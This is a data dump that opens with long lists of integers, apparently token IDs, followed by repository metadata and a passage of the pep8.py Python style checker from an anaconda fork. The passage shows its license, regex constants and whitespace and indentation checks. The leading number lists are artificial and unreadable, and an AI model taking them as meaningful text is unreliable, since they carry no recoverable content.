664, 7423, 1332, 637, 20097, 267, 587, 26, 288, 1139, 275, 10240, 8, 637, 12, 2644, 680, 2143, 342, 272, 587, 26, 267, 340, 536, 14, 2325, 342, 508, 283, 5875, 356, 288, 1139, 275, 10240, 8, 637, 680, 2143, 342, 272, 372, 620, 8, 354, 395, 1139, 421, 199, 318, 21077, 63, 1562, 8, 2697, 12, 2644, 304, 272, 340, 1228, 8, 2697, 12, 3816, 14, 875, 63, 1313, 304, 267, 5552, 275, 2198, 2697, 8, 3990, 63, 505, 8, 2697, 430, 272, 16751, 12, 5552, 275, 5552, 272, 16751, 275, 10240, 8, 10756, 12, 2644, 680, 2143, 342, 272, 862, 26, 267, 5552, 14, 2143, 360, 4371, 358, 272, 871, 24094, 26, 221, 327, 2870, 46, 267, 340, 22143, 315, 5552, 26, 288, 2257, 2064, 12, 2881, 275, 5552, 14, 1294, 16591, 297, 413, 9, 288, 2257, 2064, 275, 620, 8, 2567, 8, 1832, 2064, 12, 2644, 430, 288, 2881, 275, 2881, 14, 2143, 360, 344, 3540, 1959, 2708, 360, 4371, 358, 288, 5552, 275, 10267, 1370, 904, 779, 1832, 2064, 12, 2881, 566, 267, 587, 26, 288, 5552, 275, 10240, 8, 2697, 12, 2644, 680, 2143, 342, 272, 372, 1475, 2697, 1332, 10756, 12, 5552, 430, 421, 199, 533, 603, 30596, 3774, 837, 272, 347, 465, 63, 875, 8, 277 ]
[ 636, 2443, 363, 492, 2649, 63, 5955, 199, 199, 646, 13290, 199, 646, 747, 199, 646, 2196, 199, 646, 984, 199, 646, 900, 199, 504, 3031, 492, 334, 272, 5960, 465, 29392, 12, 10295, 83, 465, 3447, 2693, 83, 12, 4306, 12, 1245, 63, 504, 63, 875, 12, 199, 9, 199, 504, 3031, 14, 1291, 492, 10240, 199, 504, 3031, 14, 1188, 492, 6430, 199, 504, 3031, 14, 7626, 14, 1095, 492, 14735, 1563, 199, 504, 3031, 14, 7626, 14, 1188, 492, 14735, 2209, 199, 504, 3031, 14, 7626, 14, 10123, 492, 603, 30596, 1141, 2064, 199, 504, 3031, 14, 7626, 14, 505, 492, 603, 26567, 199, 504, 3031, 14, 1208, 492, 1475, 2697, 12, 1475, 602, 12, 664, 7423, 12, 2198, 2697, 199, 199, 504, 1639, 14, 2190, 492, 2202, 199, 504, 1639, 14, 1018, 14, 1198, 14, 1208, 492, 10237, 63, 2339, 199, 504, 1639, 14, 1208, 492, 3816, 199, 504, 1639, 14, 1208, 14, 2991, 492, 3542, 63, 505, 199, 199, 3, 7529, 1133, 19721, 772, 13, 2143, 9094, 13, 24, 3788, 880, 626, 781, 5126, 625, 19361, 22814, 687, 199, 3, 2005, 14909, 4766, 14, 199, 1624, 24, 63, 6043, 275, 29392, 14, 28200, 360, 1624, 13, 24, 358, 199, 1624, 24, 63, 6043, 14, 2030, 63, 2991, 275, 488, 221, 327, 2018, 4243, 370, 19721, 772, 199, 199, 3, 3758, 14735, 730, 370, 675, 641, 18912, 334, 692, 652, 365, 440, 7662, 1627, 199, 3, 436, 3913, 506, 29950, 680, 199, 3472, 63, 23890, 1244, 4479, 63, 17057, 63, 2711, 275, 283, 3578, 15, 18162, 13, 1745, 7, 421, 199, 533, 8857, 26599, 8, 3393, 304, 272, 986, 421, 199, 3, 29622, 5299, 687, 2018, 650, 14, 18, 11, 4465, 3555, 12, 543, 314, 2569, 23070, 26, 199, 3, 627, 8051, 6328, 6246, 367, 10238, 14, 199, 3, 3254, 26, 3350, 543, 3031, 14, 1208, 14, 1875, 63, 15245, 8, 703, 12, 2881, 29, 12323, 63, 2339, 9, 1380, 366, 20148, 199, 3, 2018, 499, 334, 4718, 499, 1159, 1015, 3181, 1133, 1172, 2881, 2725, 9, 15196, 9803, 1717, 680, 199, 318, 1852, 63, 15245, 8, 344, 875, 29, 403, 12, 2881, 29, 403, 304, 272, 408, 3407, 282, 1059, 11233, 367, 7329, 7294, 1081, 1013, 22676, 6430, 13, 998, 12, 325, 14, 71, 26, 339, 665, 1840, 4999, 614, 1167, 1367, 1465, 14, 13793, 1355, 14, 30689, 3172, 32, 14873, 31170, 14, 416, 14, 391, 1207, 1435, 14, 957, 30, 339, 4879, 1305, 875, 340, 1627, 365, 282, 1059, 1202, 370, 410, 15796, 287, 314, 272, 15439, 31820, 402, 314, 1245, 1305, 14, 221, 4879, 2881, 340, 1627, 6571, 314, 272, 18046, 402, 314, 1245, 1305, 2410, 314, 10267, 1370, 221, 2779, 4243, 370, 314, 17738, 272, 3247, 6246, 14, 272, 408, 272, 900, 637, 275, 900, 14, 521, 342, 272, 19314, 602, 275, 900, 14, 6205, 3508, 57, 5, 77, 5, 68, 5, 40, 5, 45, 5, 51, 297, 900, 14, 22227, 8, 521, 637, 430, 272, 4422, 275, 747, 14, 17829, 342, 272, 29722, 275, 2196, 14, 20539, 8, 15274, 9, 272, 340, 1305, 875, 365, 488, 26, 267, 1305, 875, 275, 2125, 272, 587, 26, 267, 1305, 875, 275, 7815, 435, 1305, 875, 272, 340, 2881, 365, 488, 26, 267, 327, 26678, 4440, 2838, 14, 362, 18364, 342, 2348, 3140, 267, 2881, 275, 10237, 63, 2339, 272, 17879, 275, 18342, 83, 4111, 83, 4111, 83, 5, 83, 19437, 83, 3524, 450, 334, 5834, 602, 12, 4422, 12, 29722, 12, 1305, 875, 12, 2881, 9, 272, 372, 17879, 421, 199, 3, 10240, 1561, 626, 1395, 21781, 2287, 666, 334, 14468, 327, 21, 15858, 9, 199, 12368, 63, 21178, 275, 469, 272, 283, 504, 297, 272, 283, 8114, 297, 272, 283, 8102, 13, 475, 297, 272, 283, 475, 297, 272, 283, 2055, 297, 272, 283, 21976, 297, 272, 283, 264, 1150, 13, 504, 297, 272, 283, 264, 1150, 13, 8114, 297, 272, 283, 264, 1150, 13, 475, 297, 272, 283, 264, 1150, 13, 2055, 297, 272, 283, 264, 1150, 13, 21976, 297, 199, 93, 421, 199, 318, 367, 17949, 63, 3029, 63, 604, 63, 2139, 8, 354, 12, 1139, 12, 2644, 304, 272, 408, 1858, 66, 1580, 3510, 13, 604, 2323, 12, 370, 7981, 1406, 315, 8923, 1041, 272, 2644, 275, 2644, 503, 2202, 14, 3472, 63, 23969, 272, 1139, 275, 3542, 63, 505, 8, 637, 9, 272, 340, 1557, 78, 7, 315, 1139, 503, 1557, 82, 7, 315, 1139, 26, 267, 746, 8857, 26599, 480, 2567, 1338, 883, 1133, 1395, 14930, 334, 7808, 450, 82, 367, 1406, 450, 82, 2924, 450, 334, 637, 12, 536, 430, 272, 862, 26, 267, 1139, 14, 2143, 360, 4371, 358, 272, 871, 24094, 26, 267, 340, 536, 14, 2325, 342, 315, 16271, 4564, 1608, 63, 21178, 26, 288, 1139, 275, 1656, 1987, 904, 8, 18177, 63, 1562, 8, 2697, 12, 2644, 9, 355, 367, 5552, 315, 664, 7423, 1332, 637, 20097, 267, 587, 26, 288, 1139, 275, 10240, 8, 637, 12, 2644, 680, 2143, 342, 272, 587, 26, 267, 340, 536, 14, 2325, 342, 508, 283, 5875, 356, 288, 1139, 275, 10240, 8, 637, 680, 2143, 342, 272, 372, 620, 8, 354, 395, 1139, 421, 199, 318, 21077, 63, 1562, 8, 2697, 12, 2644, 304, 272, 340, 1228, 8, 2697, 12, 3816, 14, 875, 63, 1313, 304, 267, 5552, 275, 2198, 2697, 8, 3990, 63, 505, 8, 2697, 430, 272, 16751, 12, 5552, 275, 5552, 272, 16751, 275, 10240, 8, 10756, 12, 2644, 680, 2143, 342, 272, 862, 26, 267, 5552, 14, 2143, 360, 4371, 358, 272, 871, 24094, 26, 221, 327, 2870, 46, 267, 340, 22143, 315, 5552, 26, 288, 2257, 2064, 12, 2881, 275, 5552, 14, 1294, 16591, 297, 413, 9, 288, 2257, 2064, 275, 620, 8, 2567, 8, 1832, 2064, 12, 2644, 430, 288, 2881, 275, 2881, 14, 2143, 360, 344, 3540, 1959, 2708, 360, 4371, 358, 288, 5552, 275, 10267, 1370, 904, 779, 1832, 2064, 12, 2881, 566, 267, 587, 26, 288, 5552, 275, 10240, 8, 2697, 12, 2644, 680, 2143, 342, 272, 372, 1475, 2697, 1332, 10756, 12, 5552, 430, 421, 199, 533, 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 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
alexfalcucc/anaconda
anaconda_lib/linting/pep8.py
1
79405
#!/usr/bin/env python # pep8.py - Check Python source code formatting, according to PEP 8 # Copyright (C) 2006-2009 Johann C. Rocholl <johann@rocholl.net> # Copyright (C) 2009-2014 Florent Xicluna <florent.xicluna@gmail.com> # Copyright (C) 2014 Ian Lee <ianlee1521@gmail.com> # # Permission is hereby granted, free of charge, to any person # obtaining a copy of this software and associated documentation files # (the "Software"), to deal in the Software without restriction, # including without limitation the rights to use, copy, modify, merge, # publish, distribute, sublicense, and/or sell copies of the Software, # and to permit persons to whom the Software is furnished to do so, # subject to the following conditions: # # The above copyright notice and this permission notice shall be # included in all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, # EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF # MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND # NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS # BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN # ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN # CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE # SOFTWARE. r""" Check Python source code formatting, according to PEP 8. For usage and a list of options, try this: $ python pep8.py -h This program and its regression test suite live here: http://github.com/jcrocholl/pep8 Groups of errors and warnings: E errors W warnings 100 indentation 200 whitespace 300 blank lines 400 imports 500 line length 600 deprecation 700 statements 900 syntax error """ from __future__ import with_statement import os import sys import re import time import inspect import keyword import tokenize from optparse import OptionParser from fnmatch import fnmatch try: from configparser import RawConfigParser from io import TextIOWrapper except ImportError: from ConfigParser import RawConfigParser __version__ = '1.6.0a0' DEFAULT_EXCLUDE = '.svn,CVS,.bzr,.hg,.git,__pycache__,.tox' DEFAULT_IGNORE = 'E121,E123,E126,E226,E24,E704' try: if sys.platform == 'win32': DEFAULT_CONFIG = os.path.expanduser(r'~\.pep8') else: DEFAULT_CONFIG = os.path.join(os.getenv('XDG_CONFIG_HOME') or os.path.expanduser('~/.config'), 'pep8') except ImportError: DEFAULT_CONFIG = None PROJECT_CONFIG = ('setup.cfg', 'tox.ini', '.pep8') TESTSUITE_PATH = os.path.join(os.path.dirname(__file__), 'testsuite') MAX_LINE_LENGTH = 150 REPORT_FORMAT = { 'default': '%(path)s:%(row)d:%(col)d: %(code)s %(text)s', 'pylint': '%(path)s:%(row)d: [%(code)s] %(text)s', } PyCF_ONLY_AST = 1024 SINGLETONS = frozenset(['False', 'None', 'True']) KEYWORDS = frozenset(keyword.kwlist + ['print']) - SINGLETONS UNARY_OPERATORS = frozenset(['>>', '**', '*', '+', '-']) ARITHMETIC_OP = frozenset(['**', '*', '/', '//', '+', '-']) WS_OPTIONAL_OPERATORS = ARITHMETIC_OP.union(['^', '&', '|', '<<', '>>', '%']) WS_NEEDED_OPERATORS = frozenset([ '**=', '*=', '/=', '//=', '+=', '-=', '!=', '<>', '<', '>', '%=', '^=', '&=', '|=', '==', '<=', '>=', '<<=', '>>=', '=']) WHITESPACE = frozenset(' \t') NEWLINE = frozenset([tokenize.NL, tokenize.NEWLINE]) SKIP_TOKENS = NEWLINE.union([tokenize.INDENT, tokenize.DEDENT]) # ERRORTOKEN is triggered by backticks in Python 3 SKIP_COMMENTS = SKIP_TOKENS.union([tokenize.COMMENT, tokenize.ERRORTOKEN]) BENCHMARK_KEYS = ['directories', 'files', 'logical lines', 'physical lines'] INDENT_REGEX = re.compile(r'([ \t]*)') RAISE_COMMA_REGEX = re.compile(r'raise\s+\w+\s*,') RERAISE_COMMA_REGEX = re.compile(r'raise\s+\w+\s*,.*,\s*\w+\s*$') ERRORCODE_REGEX = re.compile(r'\b[A-Z]\d{3}\b') DOCSTRING_REGEX = re.compile(r'u?r?["\']') EXTRANEOUS_WHITESPACE_REGEX = re.compile(r'[[({] | []}),;:]') WHITESPACE_AFTER_COMMA_REGEX = re.compile(r'[,;:]\s*(?: |\t)') COMPARE_SINGLETON_REGEX = re.compile(r'\b(None|False|True)?\s*([=!]=)' r'\s*(?(1)|(None|False|True))\b') COMPARE_NEGATIVE_REGEX = re.compile(r'\b(not)\s+[^][)(}{ ]+\s+(in|is)\s') COMPARE_TYPE_REGEX = re.compile(r'(?:[=!]=|is(?:\s+not)?)\s*type(?:s.\w+Type' r'|\s*\(\s*([^)]*[^ )])\s*\))') KEYWORD_REGEX = re.compile(r'(\s*)\b(?:%s)\b(\s*)' % r'|'.join(KEYWORDS)) OPERATOR_REGEX = re.compile(r'(?:[^,\s])(\s*)(?:[-+*/|!<=>%&^]+)(\s*)') LAMBDA_REGEX = re.compile(r'\blambda\b') HUNK_REGEX = re.compile(r'^@@ -\d+(?:,\d+)? \+(\d+)(?:,(\d+))? @@.*$') # Work around Python < 2.6 behaviour, which does not generate NL after # a comment which is on a line by itself. COMMENT_WITH_NL = tokenize.generate_tokens(['#\n'].pop).send(None)[1] == '#\n' ############################################################################## # Plugins (check functions) for physical lines ############################################################################## def tabs_or_spaces(physical_line, indent_char): r"""Never mix tabs and spaces. The most popular way of indenting Python is with spaces only. The second-most popular way is with tabs only. Code indented with a mixture of tabs and spaces should be converted to using spaces exclusively. When invoking the Python command line interpreter with the -t option, it issues warnings about code that illegally mixes tabs and spaces. When using -tt these warnings become errors. These options are highly recommended! Okay: if a == 0:\n a = 1\n b = 1 E101: if a == 0:\n a = 1\n\tb = 1 """ indent = INDENT_REGEX.match(physical_line).group(1) for offset, char in enumerate(indent): if char != indent_char: return offset, "E101 indentation contains mixed spaces and tabs" def tabs_obsolete(physical_line): r"""For new projects, spaces-only are strongly recommended over tabs. Okay: if True:\n return W191: if True:\n\treturn """ indent = INDENT_REGEX.match(physical_line).group(1) if '\t' in indent: return indent.index('\t'), "W191 indentation contains tabs" def trailing_whitespace(physical_line): r"""Trailing whitespace is superfluous. The warning returned varies on whether the line itself is blank, for easier filtering for those who want to indent their blank lines. Okay: spam(1)\n# W291: spam(1) \n# W293: class Foo(object):\n \n bang = 12 """ physical_line = physical_line.rstrip('\n') # chr(10), newline physical_line = physical_line.rstrip('\r') # chr(13), carriage return physical_line = physical_line.rstrip('\x0c') # chr(12), form feed, ^L stripped = physical_line.rstrip(' \t\v') if physical_line != stripped: if stripped: return len(stripped), "W291 trailing whitespace" else: return 0, "W293 blank line contains whitespace" def trailing_blank_lines(physical_line, lines, line_number, total_lines): r"""Trailing blank lines are superfluous. Okay: spam(1) W391: spam(1)\n However the last line should end with a new line (warning W292). """ if line_number == total_lines: stripped_last_line = physical_line.rstrip() if not stripped_last_line: return 0, "W391 blank line at end of file" if stripped_last_line == physical_line: return len(physical_line), "W292 no newline at end of file" def maximum_line_length(physical_line, max_line_length, multiline): r"""Limit all lines to a maximum of 79 characters. There are still many devices around that are limited to 80 character lines; plus, limiting windows to 80 characters makes it possible to have several windows side-by-side. The default wrapping on such devices looks ugly. Therefore, please limit all lines to a maximum of 79 characters. For flowing long blocks of text (docstrings or comments), limiting the length to 72 characters is recommended. Reports error E501. """ line = physical_line.rstrip() length = len(line) if length > max_line_length and not noqa(line): # Special case for long URLs in multi-line docstrings or comments, # but still report the error when the 72 first chars are whitespaces. chunks = line.split() if ((len(chunks) == 1 and multiline) or (len(chunks) == 2 and chunks[0] == '#')) and \ len(line) - len(chunks[-1]) < max_line_length - 7: return if hasattr(line, 'decode'): # Python 2 # The line could contain multi-byte characters try: length = len(line.decode('utf-8')) except UnicodeError: pass if length > max_line_length: return (max_line_length, "E501 line too long " "(%d > %d characters)" % (length, max_line_length)) ############################################################################## # Plugins (check functions) for logical lines ############################################################################## def blank_lines(logical_line, blank_lines, indent_level, line_number, blank_before, previous_logical, previous_indent_level): r"""Separate top-level function and class definitions with two blank lines. Method definitions inside a class are separated by a single blank line. Extra blank lines may be used (sparingly) to separate groups of related functions. Blank lines may be omitted between a bunch of related one-liners (e.g. a set of dummy implementations). Use blank lines in functions, sparingly, to indicate logical sections. Okay: def a():\n pass\n\n\ndef b():\n pass Okay: def a():\n pass\n\n\n# Foo\n# Bar\n\ndef b():\n pass E301: class Foo:\n b = 0\n def bar():\n pass E302: def a():\n pass\n\ndef b(n):\n pass E303: def a():\n pass\n\n\n\ndef b(n):\n pass E303: def a():\n\n\n\n pass E304: @decorator\n\ndef a():\n pass """ if line_number < 3 and not previous_logical: return # Don't expect blank lines before the first line if previous_logical.startswith('@'): if blank_lines: yield 0, "E304 blank lines found after function decorator" elif blank_lines > 2 or (indent_level and blank_lines == 2): yield 0, "E303 too many blank lines (%d)" % blank_lines elif logical_line.startswith(('def ', 'class ', '@')): if indent_level: if not (blank_before or previous_indent_level < indent_level or DOCSTRING_REGEX.match(previous_logical)): yield 0, "E301 expected 1 blank line, found 0" elif blank_before != 2: yield 0, "E302 expected 2 blank lines, found %d" % blank_before def extraneous_whitespace(logical_line): r"""Avoid extraneous whitespace. Avoid extraneous whitespace in these situations: - Immediately inside parentheses, brackets or braces. - Immediately before a comma, semicolon, or colon. Okay: spam(ham[1], {eggs: 2}) E201: spam( ham[1], {eggs: 2}) E201: spam(ham[ 1], {eggs: 2}) E201: spam(ham[1], { eggs: 2}) E202: spam(ham[1], {eggs: 2} ) E202: spam(ham[1 ], {eggs: 2}) E202: spam(ham[1], {eggs: 2 }) E203: if x == 4: print x, y; x, y = y , x E203: if x == 4: print x, y ; x, y = y, x E203: if x == 4 : print x, y; x, y = y, x """ line = logical_line for match in EXTRANEOUS_WHITESPACE_REGEX.finditer(line): text = match.group() char = text.strip() found = match.start() if text == char + ' ': # assert char in '([{' yield found + 1, "E201 whitespace after '%s'" % char elif line[found - 1] != ',': code = ('E202' if char in '}])' else 'E203') # if char in ',;:' yield found, "%s whitespace before '%s'" % (code, char) def whitespace_around_keywords(logical_line): r"""Avoid extraneous whitespace around keywords. Okay: True and False E271: True and False E272: True and False E273: True and\tFalse E274: True\tand False """ for match in KEYWORD_REGEX.finditer(logical_line): before, after = match.groups() if '\t' in before: yield match.start(1), "E274 tab before keyword" elif len(before) > 1: yield match.start(1), "E272 multiple spaces before keyword" if '\t' in after: yield match.start(2), "E273 tab after keyword" elif len(after) > 1: yield match.start(2), "E271 multiple spaces after keyword" def missing_whitespace(logical_line): r"""Each comma, semicolon or colon should be followed by whitespace. Okay: [a, b] Okay: (3,) Okay: a[1:4] Okay: a[:4] Okay: a[1:] Okay: a[1:4:2] E231: ['a','b'] E231: foo(bar,baz) E231: [{'a':'b'}] """ line = logical_line for index in range(len(line) - 1): char = line[index] if char in ',;:' and line[index + 1] not in WHITESPACE: before = line[:index] if char == ':' and before.count('[') > before.count(']') and \ before.rfind('{') < before.rfind('['): continue # Slice syntax, no space required if char == ',' and line[index + 1] == ')': continue # Allow tuple with only one element: (3,) yield index, "E231 missing whitespace after '%s'" % char def indentation(logical_line, previous_logical, indent_char, indent_level, previous_indent_level): r"""Use 4 spaces per indentation level. For really old code that you don't want to mess up, you can continue to use 8-space tabs. Okay: a = 1 Okay: if a == 0:\n a = 1 E111: a = 1 E114: # a = 1 Okay: for item in items:\n pass E112: for item in items:\npass E115: for item in items:\n# Hi\n pass Okay: a = 1\nb = 2 E113: a = 1\n b = 2 E116: a = 1\n # b = 2 """ c = 0 if logical_line else 3 tmpl = "E11%d %s" if logical_line else "E11%d %s (comment)" if indent_level % 4: yield 0, tmpl % (1 + c, "indentation is not a multiple of four") indent_expect = previous_logical.endswith(':') if indent_expect and indent_level <= previous_indent_level: yield 0, tmpl % (2 + c, "expected an indented block") elif not indent_expect and indent_level > previous_indent_level: yield 0, tmpl % (3 + c, "unexpected indentation") def continued_indentation(logical_line, tokens, indent_level, hang_closing, indent_char, noqa, verbose): r"""Continuation lines indentation. Continuation lines should align wrapped elements either vertically using Python's implicit line joining inside parentheses, brackets and braces, or using a hanging indent. When using a hanging indent these considerations should be applied: - there should be no arguments on the first line, and - further indentation should be used to clearly distinguish itself as a continuation line. Okay: a = (\n) E123: a = (\n ) Okay: a = (\n 42) E121: a = (\n 42) E122: a = (\n42) E123: a = (\n 42\n ) E124: a = (24,\n 42\n) E125: if (\n b):\n pass E126: a = (\n 42) E127: a = (24,\n 42) E128: a = (24,\n 42) E129: if (a or\n b):\n pass E131: a = (\n 42\n 24) """ first_row = tokens[0][2][0] nrows = 1 + tokens[-1][2][0] - first_row if noqa or nrows == 1: return # indent_next tells us whether the next block is indented; assuming # that it is indented by 4 spaces, then we should not allow 4-space # indents on the final continuation line; in turn, some other # indents are allowed to have an extra 4 spaces. indent_next = logical_line.endswith(':') row = depth = 0 valid_hangs = (4,) if indent_char != '\t' else (4, 8) # remember how many brackets were opened on each line parens = [0] * nrows # relative indents of physical lines rel_indent = [0] * nrows # for each depth, collect a list of opening rows open_rows = [[0]] # for each depth, memorize the hanging indentation hangs = [None] # visual indents indent_chances = {} last_indent = tokens[0][2] visual_indent = None # for each depth, memorize the visual indent column indent = [last_indent[1]] if verbose >= 3: print(">>> " + tokens[0][4].rstrip()) for token_type, text, start, end, line in tokens: newline = row < start[0] - first_row if newline: row = start[0] - first_row newline = not last_token_multiline and token_type not in NEWLINE if newline: # this is the beginning of a continuation line. last_indent = start if verbose >= 3: print("... " + line.rstrip()) # record the initial indent. rel_indent[row] = expand_indent(line) - indent_level # identify closing bracket close_bracket = (token_type == tokenize.OP and text in ']})') # is the indent relative to an opening bracket line? for open_row in reversed(open_rows[depth]): hang = rel_indent[row] - rel_indent[open_row] hanging_indent = hang in valid_hangs if hanging_indent: break if hangs[depth]: hanging_indent = (hang == hangs[depth]) # is there any chance of visual indent? visual_indent = (not close_bracket and hang > 0 and indent_chances.get(start[1])) if close_bracket and indent[depth]: # closing bracket for visual indent if start[1] != indent[depth]: yield (start, "E124 closing bracket does not match " "visual indentation") elif close_bracket and not hang: # closing bracket matches indentation of opening bracket's line if hang_closing: yield start, "E133 closing bracket is missing indentation" elif indent[depth] and start[1] < indent[depth]: if visual_indent is not True: # visual indent is broken yield (start, "E128 continuation line " "under-indented for visual indent") elif hanging_indent or (indent_next and rel_indent[row] == 8): # hanging indent is verified if close_bracket and not hang_closing: yield (start, "E123 closing bracket does not match " "indentation of opening bracket's line") hangs[depth] = hang elif visual_indent is True: # visual indent is verified indent[depth] = start[1] elif visual_indent in (text, str): # ignore token lined up with matching one from a previous line pass else: # indent is broken if hang <= 0: error = "E122", "missing indentation or outdented" elif indent[depth]: error = "E127", "over-indented for visual indent" elif not close_bracket and hangs[depth]: error = "E131", "unaligned for hanging indent" else: hangs[depth] = hang if hang > 4: error = "E126", "over-indented for hanging indent" else: error = "E121", "under-indented for hanging indent" yield start, "%s continuation line %s" % error # look for visual indenting if (parens[row] and token_type not in (tokenize.NL, tokenize.COMMENT) and not indent[depth]): indent[depth] = start[1] indent_chances[start[1]] = True if verbose >= 4: print("bracket depth %s indent to %s" % (depth, start[1])) # deal with implicit string concatenation elif (token_type in (tokenize.STRING, tokenize.COMMENT) or text in ('u', 'ur', 'b', 'br')): indent_chances[start[1]] = str # special case for the "if" statement because len("if (") == 4 elif not indent_chances and not row and not depth and text == 'if': indent_chances[end[1] + 1] = True elif text == ':' and line[end[1]:].isspace(): open_rows[depth].append(row) # keep track of bracket depth if token_type == tokenize.OP: if text in '([{': depth += 1 indent.append(0) hangs.append(None) if len(open_rows) == depth: open_rows.append([]) open_rows[depth].append(row) parens[row] += 1 if verbose >= 4: print("bracket depth %s seen, col %s, visual min = %s" % (depth, start[1], indent[depth])) elif text in ')]}' and depth > 0: # parent indents should not be more than this one prev_indent = indent.pop() or last_indent[1] hangs.pop() for d in range(depth): if indent[d] > prev_indent: indent[d] = 0 for ind in list(indent_chances): if ind >= prev_indent: del indent_chances[ind] del open_rows[depth + 1:] depth -= 1 if depth: indent_chances[indent[depth]] = True for idx in range(row, -1, -1): if parens[idx]: parens[idx] -= 1 break assert len(indent) == depth + 1 if start[1] not in indent_chances: # allow to line up tokens indent_chances[start[1]] = text last_token_multiline = (start[0] != end[0]) if last_token_multiline: rel_indent[end[0] - first_row] = rel_indent[row] if indent_next and expand_indent(line) == indent_level + 4: pos = (start[0], indent[0] + 4) if visual_indent: code = "E129 visually indented line" else: code = "E125 continuation line" yield pos, "%s with same indent as next logical line" % code def whitespace_before_parameters(logical_line, tokens): r"""Avoid extraneous whitespace. Avoid extraneous whitespace in the following situations: - before the open parenthesis that starts the argument list of a function call. - before the open parenthesis that starts an indexing or slicing. Okay: spam(1) E211: spam (1) Okay: dict['key'] = list[index] E211: dict ['key'] = list[index] E211: dict['key'] = list [index] """ prev_type, prev_text, __, prev_end, __ = tokens[0] for index in range(1, len(tokens)): token_type, text, start, end, __ = tokens[index] if (token_type == tokenize.OP and text in '([' and start != prev_end and (prev_type == tokenize.NAME or prev_text in '}])') and # Syntax "class A (B):" is allowed, but avoid it (index < 2 or tokens[index - 2][1] != 'class') and # Allow "return (a.foo for a in range(5))" not keyword.iskeyword(prev_text)): yield prev_end, "E211 whitespace before '%s'" % text prev_type = token_type prev_text = text prev_end = end def whitespace_around_operator(logical_line): r"""Avoid extraneous whitespace around an operator. Okay: a = 12 + 3 E221: a = 4 + 5 E222: a = 4 + 5 E223: a = 4\t+ 5 E224: a = 4 +\t5 """ for match in OPERATOR_REGEX.finditer(logical_line): before, after = match.groups() if '\t' in before: yield match.start(1), "E223 tab before operator" elif len(before) > 1: yield match.start(1), "E221 multiple spaces before operator" if '\t' in after: yield match.start(2), "E224 tab after operator" elif len(after) > 1: yield match.start(2), "E222 multiple spaces after operator" def missing_whitespace_around_operator(logical_line, tokens): r"""Surround operators with a single space on either side. - Always surround these binary operators with a single space on either side: assignment (=), augmented assignment (+=, -= etc.), comparisons (==, <, >, !=, <=, >=, in, not in, is, is not), Booleans (and, or, not). - If operators with different priorities are used, consider adding whitespace around the operators with the lowest priorities. Okay: i = i + 1 Okay: submitted += 1 Okay: x = x * 2 - 1 Okay: hypot2 = x * x + y * y Okay: c = (a + b) * (a - b) Okay: foo(bar, key='word', *args, **kwargs) Okay: alpha[:-i] E225: i=i+1 E225: submitted +=1 E225: x = x /2 - 1 E225: z = x **y E226: c = (a+b) * (a-b) E226: hypot2 = x*x + y*y E227: c = a|b E228: msg = fmt%(errno, errmsg) """ parens = 0 need_space = False prev_type = tokenize.OP prev_text = prev_end = None for token_type, text, start, end, line in tokens: if token_type in SKIP_COMMENTS: continue if text in ('(', 'lambda'): parens += 1 elif text == ')': parens -= 1 if need_space: if start != prev_end: # Found a (probably) needed space if need_space is not True and not need_space[1]: yield (need_space[0], "E225 missing whitespace around operator") need_space = False elif text == '>' and prev_text in ('<', '-'): # Tolerate the "<>" operator, even if running Python 3 # Deal with Python 3's annotated return value "->" pass else: if need_space is True or need_space[1]: # A needed trailing space was not found yield prev_end, "E225 missing whitespace around operator" elif prev_text != '**': code, optype = 'E226', 'arithmetic' if prev_text == '%': code, optype = 'E228', 'modulo' elif prev_text not in ARITHMETIC_OP: code, optype = 'E227', 'bitwise or shift' yield (need_space[0], "%s missing whitespace " "around %s operator" % (code, optype)) need_space = False elif token_type == tokenize.OP and prev_end is not None: if text == '=' and parens: # Allow keyword args or defaults: foo(bar=None). pass elif text in WS_NEEDED_OPERATORS: need_space = True elif text in UNARY_OPERATORS: # Check if the operator is being used as a binary operator # Allow unary operators: -123, -x, +1. # Allow argument unpacking: foo(*args, **kwargs). if (prev_text in '}])' if prev_type == tokenize.OP else prev_text not in KEYWORDS): need_space = None elif text in WS_OPTIONAL_OPERATORS: need_space = None if need_space is None: # Surrounding space is optional, but ensure that # trailing space matches opening space need_space = (prev_end, start != prev_end) elif need_space and start == prev_end: # A needed opening space was not found yield prev_end, "E225 missing whitespace around operator" need_space = False prev_type = token_type prev_text = text prev_end = end def whitespace_around_comma(logical_line): r"""Avoid extraneous whitespace after a comma or a colon. Note: these checks are disabled by default Okay: a = (1, 2) E241: a = (1, 2) E242: a = (1,\t2) """ line = logical_line for m in WHITESPACE_AFTER_COMMA_REGEX.finditer(line): found = m.start() + 1 if '\t' in m.group(): yield found, "E242 tab after '%s'" % m.group()[0] else: yield found, "E241 multiple spaces after '%s'" % m.group()[0] def whitespace_around_named_parameter_equals(logical_line, tokens): r"""Don't use spaces around the '=' sign in function arguments. Don't use spaces around the '=' sign when used to indicate a keyword argument or a default parameter value. Okay: def complex(real, imag=0.0): Okay: return magic(r=real, i=imag) Okay: boolean(a == b) Okay: boolean(a != b) Okay: boolean(a <= b) Okay: boolean(a >= b) Okay: def foo(arg: int = 42): E251: def complex(real, imag = 0.0): E251: return magic(r = real, i = imag) """ parens = 0 no_space = False prev_end = None annotated_func_arg = False in_def = logical_line.startswith('def') message = "E251 unexpected spaces around keyword / parameter equals" for token_type, text, start, end, line in tokens: if token_type == tokenize.NL: continue if no_space: no_space = False if start != prev_end: yield (prev_end, message) if token_type == tokenize.OP: if text == '(': parens += 1 elif text == ')': parens -= 1 elif in_def and text == ':' and parens == 1: annotated_func_arg = True elif parens and text == ',' and parens == 1: annotated_func_arg = False elif parens and text == '=' and not annotated_func_arg: no_space = True if start != prev_end: yield (prev_end, message) if not parens: annotated_func_arg = False prev_end = end def whitespace_before_comment(logical_line, tokens): r"""Separate inline comments by at least two spaces. An inline comment is a comment on the same line as a statement. Inline comments should be separated by at least two spaces from the statement. They should start with a # and a single space. Each line of a block comment starts with a # and a single space (unless it is indented text inside the comment). 